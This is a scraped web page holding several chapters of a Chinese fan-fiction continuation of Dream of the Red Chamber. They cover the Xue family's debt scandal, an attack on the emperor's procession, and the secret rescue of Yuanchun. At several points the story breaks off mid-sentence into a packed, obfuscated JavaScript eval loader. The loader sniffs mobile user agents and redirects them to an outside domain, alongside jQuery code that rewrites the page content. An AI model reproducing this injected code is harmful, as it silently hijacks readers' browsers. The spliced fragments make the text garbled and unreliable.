宝钗见她神色中带着一丝疲惫以及倦怠，便知是在贾府中颇有不顺心之事。她笑着安慰道：“便不是男人，等你出阁后自有你当家做主的时候。别说支撑门庭，想做贾将军、贾学士也不难。” 众人听一惯品格端方、提倡女子贞静的宝钗说这样的玩笑，都撑不住笑起来。黛玉只是抿唇一笑，心中好奇宝姐夫究竟如何明理宽宏的同时，又暗暗得意自己对宝钗了解之深，可见她们亦是知己。 探春笑着看向众人，好奇道：“今日这话竟不像宝姐姐说的，感情是被云丫头也带坏了？” 湘云面色一红，拉着探春便灌她一杯清茶。宝钗笑着分开她们，说道：“岂不闻时移俗易，《易》中又有‘知进退存亡而不失其正’之言。我不敢妄称圣人，但道理相通。咱们这样的人家，未出阁时应明理明德打下根基，出阁后却又是一番景象，端看你们如何处置罢了。” 湘云便笑道：“可不就是这话，还得是宝姐姐。” 众人尚在沉思，就见湘云得意洋洋起来。探春一声招呼，便和黛玉一起按住湘云挠她痒痒，叫湘云笑得肚子疼，连连告饶。 这边一片欢声笑语，那边苏鸿已经与薛蝌互通消息。薛蝌愤愤不平，说道：“我给内府副官使了一千两，才听得他隐约透露，竟是今上问起各家皇商。司郎中奉皇命重新盘账，谁知发现了薛家的漏洞，直接呈报御前。不单我们家，还有桂花夏家、锻造刘家等，也被一并报上去了。” 苏鸿虽猜到是有内府官员从中作梗，但没想到竟是今上先起的头。他知道也许今上是病急乱投医，想从别处抠些银子出来，这也是常理。只是苏鸿总觉得事情不会这样简单—— 就像薛蝌所言，今上在深宫中，又不可能亲自盘查账目。内府将谁报上去、不将谁报上去，本就有活动的空间。薛家在内府耕耘几十年，不看在故去的薛父和薛叔父的面上，好歹也看在银子的面上，总能给薛家透个信。 苏鸿想了想，说道：“想排查出这个人，倒也不难，只是日后再细细打听。眼下形势不明，你们家撞到这个节骨眼上，今上心里已经有了计较。” 薛蝌亦非蠢笨之人，闻言轻声道：“姐夫的意思是……叫哥哥认罪，弥补亏空？我家的生意，眼下全是老总管、伙计们帮衬。别说内账，就连报上去的外账究竟是多少我也不知道。” 他也知道，今上这一遭就是冲着皇商的钱来的。如今名义上是内府发现了巨额亏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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今上见了折子，当即龙颜大怒。还是刑部侍郎上奏，说薛蟠入狱以来日夜悔愧，深觉有负皇家天恩。如今据实交代，也可见其羞耻知罪，因而反倒劝今上不宜严惩。 其余内府、户部等人，得了薛家的银子，又见苏鸿愿意为妻族奔走，且薛家尚有贾家、苏家这门亲戚帮衬，也不想彻底得罪了薛家。因而便可有可无跟着附议，言说薛家亦是仕宦读书之家，如今不过年纪尚小，被人哄骗云云。 今上本就是冲着银子对薛家下手，见薛蟠认下，也不愿深究。当即便下旨，薛蟠杖责三十，革去世职。念其祖上有功、诚实悔过，命如数补齐亏空，缴纳分红、赋税。 薛蟠跪在御前瑟瑟发抖，全然不敢抬头去看，只隐约瞧见今上龙袍下摆用金线绣成的五爪金龙。他听见对他的处置，见免了抄家的丑事，不至于叫妈和妹妹面上无光，心中一酸，连忙磕头谢恩。 今上垂眸看着薛蟠被拖走施刑，想到即将入内帑的大笔银钱，颇有志得意满之态。他倒是没想到，薛蟠看着贪财蠢笨，关键时刻倒是能顶上，叫他不费吹灰之力就收拢大笔银钱。 至于夏家和刘家等，到底没有薛蟠的魄力，现在仍旧在牢里关着。 今上翻开刑部的折子又看了一次，心情极好。这次下手的几家皇商，虽说祖上有功，但到了他们这一代，子弟尽皆纨绔，连精通经济买卖为皇室赚银钱的人都没有。既没什么用，又沾着皇家的光享尽富贵，哪里有这样好的事。 等他裁撤了这批人，正好给自己的亲信空出位置。 56.风声 薛蟠被结结实实打了三十大板，又至临敬殿前磕头谢恩后，方被薛蝌带回家中。彼时薛太太和宝钗姊妹都翘首等着消息，见伙计们抬着臀腿被打得一片血红、面红肿胀的薛蟠，赶忙围上去。 宝钗连薛蟠的伤势也来不及看，连忙问道：“朝廷怎么说？” 薛蝌面带难色，看了眼薛蟠后说道：“革去薛家世职，不许再入内府名册。还有……还有五十万两的亏空并漏报的赋税和分红，限我们一月内按数补齐。” 薛太太正坐在薛蟠床前暗暗垂泪，猛然听自家在内府的世职被革去，还要补缴巨额亏空，一时头晕目眩。她反应过来后，一巴掌便打到薛蟠脸上，泪流满面道：“不长进的东西！整整五十万两的亏空，你是何处腾挪支领，又将银子给谁了？” 他们家起先虽有百万之富，那也不是现银百万。何况自先夫死后，虽有薛愉接管，但两家的事他哪里管得过来。薛蟠又是不长进的，在经济买卖上一窍不通，全都仰赖总管和伙计们。 只家中现有的银两，绝填不满亏空，还要想办法将薛蟠姊妹三个喜事的聘礼、陪嫁等留出来。薛太太心中焦躁，说着说着便搂住宝琴哭起来，唬得宝钗和薛蝌连忙上前解劝。 薛蟠嘴里发苦，心中暗道这亏空哪里全是他们薛家的，只怕有个十万两不知是何处冒出来的，叫他们薛家顶了这个黑锅。至于其他的，更不是他一人的功劳，不是被父亲或叔父悄悄支走，就是被一层层总管伙计们昧下了，他哪里清楚。 唯有账目上不清不楚的，那也是人人都这样做，他不过依着旧例及总管伙计们之言抽了几成。他不好辩解，又因臀部疼痛不能坐起，急得满头大汗，赌咒发誓道：“妈，我以后再也不敢这混账事了，您千万别气坏了身体。” 薛太太虽是生气，却也明白其中还有内情。有这样巨额的亏空，他能捡回一条小命已是不宜，反倒不好再责备薛蟠。宝钗见薛太太情绪稍好些，便连忙道：“妈，事已至此，还是先想想办法补齐这些银两才好。” 薛太太垂泪道：“若不补齐，还不是叫你两个兄弟受苦。只是家里现有的银子补不上，还得变卖些铺子、庄子。我只要你一句话，让你兄弟紧着外省的铺子和房产卖起，你答不答应？” 薛蟠这些日子早就想过此事，亦知家中境况，哪里还有不依的。他对薛蝌道：“旁人去我放心不下，时间又紧，先到河北将大小铺子百余间一并卖了，好歹凑些钱。京里……京里只留一家东街的几家脂粉、杂料、当铺，只留一个田庄，其余的也一并卖了。” 只是现今家中账面及私藏的钱，凑一凑也才四十多万两，将铺子和田产都折卖，将将凑够五十万两。 但朝廷让交五十万两，再加上上下打点的钱，他们少说要多预备两万两才好。现今薛家没有官身，又彻底没了皇室的信任，那些吃人不吐骨头的官儿，还不可劲儿糟践他们。 幸而他们还有贾家这门亲，不至于叫旁人上门作践。只是经此一事，京中局势越发诡谲，指不定贾家有一日也会被牵连吃挂落。若是贾贵妃此时能诞下龙子，贾家的地位就稳了。 他心里盘算着，先前妈提议多给妹妹置办嫁妆，他因一些莫名的担忧，执意将家中十万两银票一并给了宝钗压箱底。现在看来，这步棋是走对了，不然连这十万也要莫名其妙入了亏空之列。 如今亲妹妹有钱，他们虽不能像先前一般富贵奢侈，但妙在生计不愁。暂时借妹妹的银钱周转，等他腾出手，就将江南置办的房产和田庄慢慢折买，倒也能过得下去。 宝钗便道：“妈，就当这些银子是买命钱罢了。也是今上天恩，只革了世职，补齐亏空就好。五十万虽多，凑一凑总能凑出来。我这里尚有十万，大家不过再俭省些。如今骨肉团聚，哥哥又发誓悔改，到底是不幸中的万幸。” 薛太太也知道这里头的厉害，只是她忍不住念叨几句祖先创业的艰辛。见宝钗和宝琴悄悄拉她，又见薛蟠亦然心情郁郁，也不好再说什么。 王夫人得知消息，便连忙赶来，姐妹俩不由抱头痛哭。王夫人哭了一场，见薛蟠虽挨了打，好歹于性命无碍，才抹泪道：“妹妹且放宽心。我们家的境况你也知道，后手不接，但空屋子是尽有的。何况蟠儿这一遭，好歹留了条命，日后还能承欢膝下。” 她想到薛蟠，不由想到早逝的贾珠、入宫的元春，更是伤心。 薛太太苦笑道：“何尝不是这个道理，只是祖宗的基业都叫败家子败光了，我以后哪里有脸面去找他爹。便是他爹，也没脸见蟠儿爷爷。” 姐妹二人互相安慰一番，王夫人才披着月色归家。只是刚刚坐定，李纨就一脸难色地找过来，言说傍晚时有个小太监来，说是戴内相要买铺子，缺了二百两银子，来府上暂借。因家里实在没有多余的银钱，她有不惯和这些宫里人打交道，略推脱几句就见那太监脸上不好看，叫人只拿着一百两走了。 先时都是凤姐管家，她倒是擅长迎来送往，又生得一张巧嘴。李纨不会应付这些，见自己好像将事情办砸了，也是心中忐忑。 凤姐闻言心里一突，知道必定不好。那些太监都是没根儿的东西，生着一双势利眼，最是不知恩的。任凭他们从前打点了多少，这次没给全，就已是得罪了人。只是她劝了一回，见王夫人心里犯愁却不打算弥补，也只好作罢。 晚间宝钗归家，苏鸿正在房中等她。见她回来，上前帮她把披风解开挂在一旁，一边问道：“妈和哥哥那边怎么样？” 宝钗说道：“妈哭得头疼，才刚睡下，叫妹妹陪着休息。哥哥那边，也请了大夫去瞧，说是不发热就无妨。我只是心里纳闷，我哥哥哪来的本事能亏空五十万，也是奇了。” 苏鸿便猜测道：“每年供给宫中的是定例，拨下来的银子也是一定的。只是每年杂料价格有贵有贱，若是贵了，自然是要你们自己贴钱。二来，凡是外出行商，都要防着劫匪。若是货物被抢，自然也是赔钱的。赔了钱，自然得想办法找补回来。” 宝钗见苏鸿说得好听，知道他是不愿下自 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待半月后，薛蝌飞速赶来，带着凑齐了的五万两一并交给薛蟠。薛蟠便搜罗家中现银，凑齐五十万两，亲自带人交付内府。满京城都知道，薛家近来卖了不少金银、古玩、铺子和庄子等，只留了几家铺子供他们吃穿用度。如今一交了银子，可见是精穷了，再也过不起从前奢靡的生活。 市井中并未和薛家打过交道，但也十分热衷于凑热闹，将他们如何卖铺子、如何收银子、又是如何押着银票到内府等，形容得活灵活现。听到百姓们看热闹的说笑声，薛蟠和薛蝌也唯有充耳不闻，一心往内府去。 果然不出所料，内府门前的几个门房，倒也不见从前喊薛老爷的殷勤，反而两手一摊说内府官不在。薛蟠明知他是要银子，见今时不同往日，也不欲与他计较，只好声好气塞了个银角子请他们吃酒，烦他再去通传。 众人得了银子，又奚落几句，方扬长而去。去了半日，才回来叫薛蟠等人进去。内府得了银子，上下俱是喜笑颜开，忙忙将此事报给今上知道。今上见私库中有了大批进账，薛家低头认命，又见其余几家总嚷嚷内府报上来的数额与实情不符，也懒得再等，直接下旨抄家。 几家皇商都是祖上有功之人，何尝想到自己不过据理力争，就落得这般下场。先前见薛家痛快认了，他们只当内府不敢得罪薛家，报了实数，薛家才肯乖乖听话。如今见薛家死里逃生，不敢恨皇家，反倒觉得薛家太过奸猾，不与他们说实话。 若薛家早早递来消息，他们也不至于硬挺着。 对此，薛蟠不置一词。便是未曾查抄薛家，也跟查抄差不多了，顶多显得体面些，没有被官差翻腾家产。如今薛家的日常用度，比之先前可谓一个天上一个地下。幸而还有往日留下的衣饰，一时不至于露怯。 苏鸿只趁空探望薛蟠两次，见他并未动了轻生的念头便未曾多劝，每日埋头扎在翰林院中。他虽说并不起眼，但翰林院因有教导皇室子弟的职能，历来是消息最灵通的地方之一，便听到今上已打算任史侯为大将，卫老将军为副将，发兵南下。 只是不知为何，南安王府的小王孙却对旁人说，他即将多位姐姐。 57.遇刺 苏鸿一时捉摸不透南安王府的意思，明明南安王府中只有一位姑娘，便是王妃要生育，也只会给小王孙添个妹妹。也没听说过王府什么时候丢了女儿，近期又要找回来的。 只是他说与宝钗时，宝钗却心念一动。宝钗知道朝廷发兵打仗的钱是从哪里来的，王家的家财再多，也顶不住朝廷又要赈灾、又要预备粮草兵马的花费。再加上一笔银子发出去，不知多少人从里头伸手捞，到了下头哪里还够用。 她对外头的事并不算十分了解，但依她的见识，官场这般混乱黑暗，军队岂会独善其身。士兵能否按时操练、编制是否齐全、军饷是否据实发放、武器是否锋利都是未知数，本朝又承平已久，说不得连主将都会心生轻视。 几项不利，此战结果未定。再加上粮草辎重不足，国库空虚。时间短了还好，若此战拖延的时间长了，朝廷便是不想议和也要考虑此事。 宝钗心中隐隐不安，见苏鸿亦不解其意，便说道：“虽说前朝没有和亲的传统，但本朝以来，多有以宗室女和亲的。南安王妃这会儿想认个女儿，无非是备不时之需。” 自家已经没落，连个正经的官身都没了，宝琴定是无事。这边英莲妹妹也并非仕宦之家，自然也不必担忧。只是贾家那边，颦儿不必算在其中，惜春年龄尚小，唯有探丫头正值议婚…… 苏鸿闻言沉默，不知如何答言，半晌才道：“两军尚未交战，主将竟先露怯意。国家有难，享受高爵厚禄却不知忠孝报国，反而推弱女子出去，美名其曰和亲，真叫人恶心。” 他深吸一口气，将宝钗拥入怀中，埋首在她颈侧，颇有些闷闷不乐。宝钗见他如此，轻轻拍着他的后背安抚，微微出神道：“若满朝文武都像你这样想，什么事做不成。只可惜能者下，庸者上，倒听不见如此堂皇正大之言，看不见他们行光明磊落之事。” 二人一时沉默，宝钗因笑道：“好了，你也这样扭捏起来，往日张牙舞爪想登高望远，这会儿就颓丧了？” 苏鸿听她笑话自己，才轻轻捏着她的莹润的下巴转向自己，结结实实亲了一下。他又笑道：“过几日大军就要出发，今上要至祭天坛祭天祈福，又说要亲自检阅大军、鼓舞士气。人多眼杂，你出门时仔细些，别被冲撞了。” 宝钗含笑点头，不以为意道：“今上出行，多得是执事太监和五城兵马司的人看守警戒，提前驱赶闲人，谁去沾这个麻烦事。” 虽这般说，她心里到底存了个心眼，这几日便不打算外出，只在贾家和自家来回就罢了。只是想到自己猜测的事，虽跟自家无关，但她与探春是多年的姊妹情分，哪里肯知而不言。少不得要将此事告诉薛太太，再叫薛太太悄悄告诉王夫人。 王夫人听闻此事，又见南安王妃四处下帖子做客，虽是没影儿的事，也信了八分。因探春年纪尚小，不急着相看，这会儿听到这事，回明贾政后便也忙碌起来。 旁人知道贾家还有位三姑娘正是待嫁之年，便也上门来相看。谁知相看时千好万好，几家太太见了探春都觉其读书知理、英气不俗，赞不绝口。可转头又跟线人打听探春正庶，打听得探春是姨娘生的，都没了下文。 王夫人虽急着为探春定亲，但选的也都是家境殷实、子孙上进的好人家，谁知接二连三都不顺利。她命陪房打探，谁知是因那些轻狂人嫌弃探春是庶出，不肯结亲，在家气得心口疼。 她当着探春的面也不好多说，只是下人们嘴巴不言，又没个忌讳，竟叫探春和赵姨娘知道此事。赵姨娘未曾想到，堂堂国公府贾家的姑娘，竟找不到好人家，一时也慌了神。她再与亲女作对、生气，也知道婚事是女儿家的大事。 探春知道在贾政和王夫人眼中，素来是将她们姊妹几个一体看待，并未因元春嫡出、她是庶出，就忽视作践。只是贾府的奴才暗地里总不服自己，连王善保家的那个老婆子，都敢大着胆子拉扯她。 如今见自己的婚事因此受阻，又隐约风闻跟南安王府有关，心中不免难过。只是她素来好强，仍是寻常模样，不肯露怯叫人看不起。 王夫人私下里跟薛太太和凤姐将那些轻狂人大骂一顿，又十分发愁探春的婚事。薛太太见探春议婚不顺，也跟着愁起来，叹道：“现在这个境况，宝玉又尚未进学，一时也找不出年轻俊秀的好后生。” 薛太太又想了想，犹豫一下，便说道：“总归这消息做不得准，暂且不必太过着急。好歹还有娘娘在，慢慢看着就是。” 因而此事只好暂且搁置，谁知未过两日，南安王妃便上门做客。寒暄几句，便要见家中的姑娘。王夫人十分推脱不过，又不敢直言拒绝，便只好叫探春和惜春见客。南安王妃见了探春，便笑道：“我们太妃先前见了你们三姑娘，说进退得体、俊秀英气，叫人爱得不行。现在看了，果然叫人疼到心里。” 王夫人面色不变，仍满面笑容道：“哪里，是太妃客气了。我们小门小户的姑娘，也不过出落得白净些，倒叫我不好意思。若她有造化，我们做母亲的也唯有高兴，只可惜婚事不顺，叫我发愁。” 南安王妃闻言挑剔地打量着探春，心里暗道，看模样和礼仪倒是还好，听说也是会作诗的才女。只可惜不是正房肚子里爬出来的，亏得自家跟贾家交情不错，她有有个做贵妃的姐姐，给她一个王妃义女的身份倒也使得。 贾家现今连吃饭穿衣都成问题，连一百两银子都拿不出来，真叫人笑话。叫这位三姑娘做了自己的义女，未来若有变故，也好替自家姐儿和亲。虽然是个藩王，到底也算王妃，真是抬举她和贾家了。 探春被南安王妃的打量的目光盯得难堪，只好勉强笑了笑。王夫人见南安王妃这样过火，也是满肚子的不忿，却不敢表露。正当南安王妃要开口时，王夫人却不知为何，失手摔了茶盏，一时晕在座椅上人事不知。 众人被唬了一跳，金钏儿玉钏儿连忙上前扶起死命掐着人中，七手八脚把王夫人扶到床上。陪坐的李纨一边忙着安置王夫人和探春，一边又一叠声儿给南安王妃道歉，急得满头是汗，手忙脚乱好不可怜。 南安王妃见出了这样的意外，一时不好张口，便关心两句才大张旗鼓去了。她揣度王夫人似是浑不在意这个三姑娘的去处，今日之事虽叫她恼火，但看贾家那丢人现眼的模样，应当不是故意，便也未放在心上，想着过个十天半月再来一次就好。 虽说是个义女，到底也是顶着她女儿的名义出嫁，总不能不像话，叫那边藩王太过不满。她冷眼选了半月，也就贾家的这位三姑娘最为出挑。幸而贾家没有得力的子弟在前朝，她好歹也算贵妃之妹，勉强能借来搪塞。 只是未等王夫人“痊愈”，今上大张旗鼓外出检阅大军后，便率后妃、重臣一同至祭天坛祭天。因翰林掌起居注、修史，又要为祭天进献祭文、祭诗，苏鸿现任修撰，便一同随行。 内府及五城兵马司各处关防，早用帷幕将沿途所经之地围挡起来，打扫街道，驱逐过往闲人。是日，今上大摆仪仗，官兵亲卫围随护驾，庄严肃穆。其后便是后妃及官员车驾，浩荡荡长龙一样往祭天坛方向游去。 百姓跪了一地，连头也不敢抬起，车驾经过时便山呼万岁。今上听着外头的动静龙颜大悦，示意一旁服侍的太监掀开轿帘，向外看去。只是百姓的身影被挡得严严实实，数量也并未多少，又是灰扑扑一片。 他不由索然无味，便又坐正了身子，眯着眼闭目养神。 众人放松警惕时，不知何处忽然传来阵阵喧哗，似是谁在喊着“狗皇帝”“杀人偿命”“大贪官”等言。不待今上反应过来，一枝飞羽箭忽然飞过来，从轿帘处穿过，径直射向今上。 今上一把拖过身边服侍的太监挡在自己身前，刹那间便有血腥气在身旁炸开。今上神色惊慌，剩余的太监顾不上心寒，连忙将今上团团围住。外头也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不待他再看，又从彩轿中下来几个侍女，围着贾元春不知如何是好。她们抱不动元春，官兵们更不敢触碰，都背着身子向外。但那些人看到此处是个漏洞，便叫嚷着杀了皇帝的女人也够本，又是一群人冲过来。 众人乱成一锅粥，险些抵挡不住。皇后隔着轿帘见数十侍卫围着贾元春的尸体，不护持凤驾，当即大怒，叫侍女划花贾元春的面容后，吩咐侍卫不必照管死人。 众侍卫面面相觑，领头的乃五城兵马司中城副指挥，见皇后发话，娘娘又已被毁容，便只好依从。只是不忍她暴尸大街，也担忧今上事后要见其尸身，便胡乱扯过一节帷幕卷住元春。又咬牙将她的尸身滚到街旁隐秘处，预备稍后再来收尸。 苏鸿心里胡乱想着，贵妃好歹是宝钗的表姐，便是死了，留在这里也不得安生。何况她当街坠下彩轿，又被贼人刺杀，死因并不光彩，就怕今上觉得受辱，不好生安置贵妃尸身。 他思及手上有须弥宝戒，贵妃又是一具尸体，料想收进去也无妨。因而悄悄靠近那边，趁人不备便伸手摸向被卷住的尸身，将其收入宝戒。他一身冷汗，悄无声息又混入官兵中间，因心神恍惚不慎被砍中右臂。咬牙撕下衣服下摆，将下臂缠住后仍旧拼杀。 纪花明满脸是血，回头见他并未受严重的伤便未曾在意，只是向他靠近时帮他分担些压力。 正在此时，一大队兵马赶来支援，那些贼人见势不好，却又因并无马匹及接应人员，不过片刻就将他们抓了个干净。整条街弥漫着血腥硝烟气，满地的尸首中，不光有贼人，还有官兵、被杀的太监、宫女等，一地血泊，踩上去上甚至微微发黏。 苏鸿这才放下刀剑，和纪花明对视一眼，皆有劫后余生之感。今上在御轿上向下俯瞰，满心怒火，将五城兵马司、工部及龙禁卫首领骂了个狗血喷头。见满地尸首，一边命人严查这些人的来历，一边命人清点死亡人数。 苏鸿心中暗道，此行是为大军出征祭天祈福，却发生这样的祸事，可见此行结果早有预料。只是不知这些人是哪里来的，竟有胆量在今上祭天的路上行刺。背后主使，又是怎样的财力和魄力，组建这样一群数百人的行刺队伍。 58.请医 发生这样不吉的事，今上哪还有心情到祭天坛去祭天。又因大军刚刚开拔，他也不好收回成命，便沉着脸命原地返回。真正的百姓早在有贼人冲出来的时候四散奔逃，沿街的铺子也都门窗紧闭，似乎悄然无人。 五城兵马司加紧清理街道，清点人数，将不幸遇难的官兵及太监、宫女的尸首安置到一旁。只是收拾尸首时，中城副指挥赵玉明怎么也寻不见混乱中被自己临时安置的贾元春的尸身，一时急出一身冷汗。 贾贵妃是后妃，她的尸身若被那些贼人掳走凌辱，岂不是把朝廷的脸面往地上踩。若是被人知道是自己将贵妃尸身安置一旁，却又未曾护好，只怕他也要吃挂落。 他拼命回想自己安置贾妃尸身的时候有没有被人看到，忽然想起当时一群侍卫都奉皇后之命去保护凤驾，应当唯有素日忠心的下属在旁看到。除了他们之外，也就只有苏鸿和纪编修在不远处。 赵玉明不敢声张，又想着苏鸿是自己亲表弟，便是知道了也不会说出去。纪编修又与表弟交好，眼下定然无事。自己的下属就更好说了，若此事被翻出来，他们也会被连带着处置，当然会闭紧嘴巴。 他将贵妃身死的消息层层上报，今上很快就得知贾贵妃不幸遇难。他大发雷霆，深以为耻，竟将皇后叫来申饬。当时情形严峻，援军未至，皇后及众妃都以为即将大难临头，谁也没想着安置好元春的尸身。 如今平安无事，皇后才惊觉自己情急之下做出的事极为不妥当。她无话辩解，只好随口说贼人冲撞护驾队伍时，贾贵妃惊慌失措，不慎跌下彩轿遇难。又说接连几个宫人去救，也都不幸死了，为了保护其他后妃，才叫侍卫们撤回。 今上本身并不宠爱元春，如今不过是觉颜面大失才借机发作皇后。见皇后说得有理有据，又十分为其他后妃着想的样子，也不好再说。他便叫人好生收敛贵妃遗体，让皇后回宫后裁度着去办。 皇后本就担忧自己命人划破贾贵妃容貌的事被今上注意到，见今上并无关注之意，当即心中一喜。因而见驾后，就叫自己的亲信亲自去带回贾元春的尸身。谁知却遍寻不到，急得亲信浑身冷汗都下来了。 她不敢胡乱去问，便借口皇后要抚恤宫人，再次跟五城兵马司的人打听可有遗漏。五城兵马司的人却一问三不知，又说为女子收尸的皆是附近征来的有力妇人，他们不曾沾手。 亲信暗想，本就确认贾贵妃已死，眼下虽说没见到尸体，想来是混乱中被踏成肉泥也说不准。如今倒也不必细究，只要把身形差不多的尸体塞进棺材里，用帕子盖上脸，也不怕穿帮。因而大着胆子，在众人装傻充愣下，竟将此事瞒天过海。 在皇后忙着处理贾贵妃身后事时，今上命人查清这些人从何而来，又是如何带着大量兵器到了京城。尚未查清，禁卫及五城兵马司便吃了挂落，统领及指挥使连降三级。又命五城兵马司日夜巡查贼人踪迹，不得懈怠。 百官见出了这档子事，今上心情极差，也都夹着尾巴做人，不敢有丝毫不敬惹今上不喜。而三司为了尽早查案，可谓手段频出，威逼利诱，见还是打不开他们的嘴，便干脆上了重刑。 这是后话，且说因祭天临时取消，又出了这么大的事，苏鸿便下衙后便急急归家。宝钗早已打听到今日有大批人马造反，直击御驾，与苏母、封娘子等人早就提心吊胆半日，见苏鸿父子俩平安回来才放下心。 又见苏鸿伤了右手，连忙请大夫过来重新包扎换药。苏鸿并不怕疼，见宝钗心疼得眼泪都要掉下来，便觉心中软绵绵的，满是柔情。他笑道：“宝卿不必担忧。你是没瞧见旁人伤得骨头都露出来了，我这只是些微小伤，大夫说了不妨事。” 宝钗一边将他的手放在眼前看，一边嗔道：“他们又不是我夫君，我关心他们干什么。虽说为人臣子理应护驾，但你是文臣，好歹也要留心些。” 苏鸿笑着答应，随即又想起被自己藏匿起来的元春尸身，见四下无人，便悄悄将此事告知宝钗。宝钗闻言大惊，霍然起身，悄声问道：“不是都说死了几个侍卫，确认是贵妃娘娘？” 苏鸿说道：“我见她跟宝兄弟有几分相像，也不保准。当时太过混乱，我也不曾想到援军来得这样快，怕她被贼人带走，才趁乱将她的尸身安置在一处。你悄悄认一认，若果真是她，咱们再想之后是什么章程。” 说着便将今日发生之事细细告诉了宝钗，宝钗这才知道真实情况并非外界所传的那样简单，竟是人人带着兵器，极为凶险不说，还死了位贵妃。她不敢耽搁时间，便连忙收拾了，连莺儿等人也不敢带，叫人套车后与苏鸿一起出去。 宝钗见苏鸿带着自己七绕八绕，竟是到了他名下开办的香草铺子，不由十分惊奇。苏鸿便低声道：“我来之前，借口这几日京中形势不好，明儿恰逢中秋，叫他们回家歇息了。” 二人便一同到后头苏鸿预留的房间内，见床上果然躺着一个衣饰华丽、衣衫染血的女子，宝钗便快步上前去看。只是一看之下，心中狂跳，说道：“怎么会……” 苏鸿点点头，将自己见到似是有人推攘元春、宫人特意将她面容损毁之事告诉宝钗。宝钗此时方知为何苏鸿要特意将元春的尸身带回，气得浑身发抖，咬牙道：“岂有此理，便是斗个你死我活也是各凭本事，怎能辱人尸身。” 苏鸿面色沉重，到一旁将铜盆捧来，说道：“眼下也不敢叫旁人知道，先给娘娘擦拭一下面容，我跟大哥说要一副棺材来。此事要不要跟你姨妈说，也得好好想想，毕竟人多口杂……” 而且贾家姨妈未必认同他将贵妃的尸身带回。毕竟普世观念下，女子一旦出嫁，生是夫家的人，死是夫家的鬼。真论起来，贵妃的尸身也该埋到皇陵，受皇家后人的祭拜，而不是被他悄悄带回，没了祭享。 当时若非情况紧急，他定不会贸然如此作为。 话音未落，宝钗正挽着袖子给元春擦拭脸上的伤口，却见躺在床上的元春鼻翼微微煽动。宝钗被吓得连忙起身，却又大着胆子抖着手去探元春的呼吸，见果然有些微的动静，便是一喜。 她连忙道：“贵……表姐还有一口气，应当还能活命，快请大夫来。不，等等。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456482|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宝钗起身思忖片刻，说道：“安和，让我想想，不能贸然请大夫过来。现在京中本就到处巡查，便是与我们私交再好，也无人愿意冒这个风险。我让人先回家取止血药和金疮药，将外伤遮掩过去。” 苏鸿不敢让奴仆们去，便亲自快马回家，找文杏问了药放在何处，便揣着药赶回。彼时宝钗已经给元春擦洗干净，用干净的棉布将伤口紧紧裹住，强喂了水进去。 待上药后，又喂了一颗吊命参丹，元春的状态稍显平稳。宝钗便换下元春的华服、首饰，叫苏鸿一把火烧了或直接毁了。宝钗便看着苏鸿道：“贵妃未死，论理是该回宫，但回宫更是没有活路。” 她心中十分纠结，不知该怎么办才好。若表姐只剩一具尸身倒还好，无非是发愁将表姐埋葬在何处。现在表姐活着，自然是好事，却又叫她更加为难。表姐先是在宫外待过，又是被毁了容貌，回宫就是死路一条。若是让表姐待在宫外，又该将她安置在哪里才更妥当呢…… 苏鸿便道：“无人知道贵妃死前曾被毁容，她又是女子，暂且藏身内宅应当不妨事。只是父亲和母亲素来敏锐，怕是瞒不住他们。” 宝钗摇摇头，又想了想，说道：“不妥。私自收留后妃，一旦泄露，旁人不说你是好心为表姐留个全尸，反而要编排你许多，连父亲母亲都要受连累。我想，对外就说这是我的姐姐，因为被夫家休弃才来投奔我。只是也得等娘娘的伤势好了才行。” 反正大家子儿女多着呢，女儿又素来不见外客。她对外说得含糊，旁人也不知这是她哪位姐姐。 两人主意已定，苏鸿便将染血的棉布、药瓶等都带到灶房处理掉。又细细将房屋收拾干净，开了窗子将血腥气都散出去。一切准备就绪，苏鸿才出面将自己府上惯请的大夫请来。 大夫见苏鸿并不是带着自己往苏家去，便问了几句。苏鸿并未多言，只是一副有些隐情的模样，说今日的病患不在家中。大夫见苏鸿这样说，也就不再多问，只是心里想着苏家大爷一副老实本分的模样，原来也有些花花肠子。 宝钗听得外头的脚步声，适时低声啜泣，哭姐姐命苦，骂那家负心人。苏鸿听见，佯装不悦，低低咳嗽一声，见宝钗藏在屏风后才请大夫进来。此时大夫早就猜测起来，定是苏大爷养了外室，那外室的姊妹在哭姐姐命苦。 诊脉时，见是失血过多的症候，倒是吃了一惊。见大夫问起，苏鸿才真真假假道：“事已至此，还请医者保密。这是我奶奶娘家姐姐，因不曾生育，被夫家休弃了。她一时想不开，就捅了自己几下，连面容都毁了。” 说着轻轻掀开帐子一角，叫医者看她脸上的伤口。他又道：“脸上的伤也就罢了，还请医者无论怎样，将她的性命保住，我也好见我奶奶。” 大夫也知今日出了造反一事，但想到苏家是朝廷命官，哪里会跟反贼勾结。何况这又是个货真价实的女子，更不会是反贼。何况女子因感情、婚姻不顺，自戕自残也是常事，因而信了苏鸿这一番话。他斟酌着开方，又分了内服外敷两剂，才被苏鸿千恩万谢送走了。 59.抄家 此事事关机密，夫妇二人不敢假手于人，便亲自在此照料。谁知两副药灌下去，贾元春才渐渐有了意识，睁开眼打量四周。宝钗见她醒来，先是一喜，随即又有些踟蹰，喊了声娘娘便面带难色。 元春见自己并不在皇宫中，也意识到什么，先是试探着叫了声薛表妹，见她点头才知自己没有认错人。她待要起身，却觉头晕目眩，难以支撑，宝钗又轻手轻脚将她扶着躺下。 她张了张口，沙哑着嗓子问道：“我怎么在这里，那群反贼怎样，今上可平安无事了？” 